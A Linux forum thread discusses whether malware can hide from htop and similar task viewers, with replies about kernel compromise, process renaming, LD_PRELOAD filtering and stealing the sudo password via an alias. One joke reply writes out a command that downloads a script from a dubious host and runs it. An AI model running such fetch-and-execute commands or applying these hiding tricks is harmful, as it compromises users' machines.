Viruses & Task Viewers

bitahcold@lemmy.world to Linux@lemmy.ml – 30 points –

Hello everybody! I can say I'm a newbie at Linux. Wanted to ask about Linux' task viewers. On the famous task viewers such as bpytop, htop etc., can viruses hide from them? Excluding the injected codes, can virus & tracker/logger softwares hide from classic task viewers of Linux? Do they show all kinds of services and running tasks?

18

If the kernel is compromised all bets are off. They have complete control of your machine.

In general, no. Most malware that runs its own process simply uses some name intended to make you not notice it. But it is possible, in Linux just as in every other operating system that ever existed, to imagine that some unusually sophisticated malware manages to exploit some unknown vulnerability to gain full control of the kernel and then all bets are off, then it would be able to do anything.

Getting the sudo password is pretty trivial.

Just alias the sudo command to catch it and pipe it to the wanted tool.

With the sudo password you can recompile the kernel and add a random kernel module to it.

Only secureboot and verified boot make problems there. These are actually useful!

Good point, but seems like a non starter from many opinions on Linux forums.

I understand caution when approaching things like secure boot - it can absolutely be abused by monopolies. however... barring inherent or implementation flaws and ensuring that signing keys are under user control it conceptually (and practically) allows for some useful things.

Depends on the malware.

With total access, nothing would prevent the malicious code from modifying the task viewer itself to make it ignore the resources it is using.

Accounting for every way malware might be discovered is difficult, but with enough system access, it's all possible.

It also depends on the viewer. I remember using prctl() in C to chamge a process name and top showed my change but htop didn't. I'm sure a competent malware writer would be able to trick it though

iirc, postgresql renames itself in htop to show its current status and which database it's operating on

True. There are various legitimate tools that are only really one step away from malware, so it's not too hard to imagine going that one step further.

Thinking specifically of the fact that a new process is allowed to change its apparent name, as well as creating secondary process pools, but there are bound to be other, deeper ways.

No, they cannot. If a process is running on your system, you can see it in htop.

Unless it has kernel access. If it controls the kernel then it can do whatever it wants.

wget toteslegitdebian.app/installer.sh & chmod +x && ./installer.sh

was I not supposed to do that? but staxoverflown said it's OK.

in theory, a virus can hide from them if it replaces (or LD_PRELOADs) them with something that filters the virus from its output.

those task viewers will show everything running, except some kernel modules, because they are part of the kernel.

also fast cron jobs will only be visible for a very short time. only while they run. if they run for like 250ms you probably won't notice them.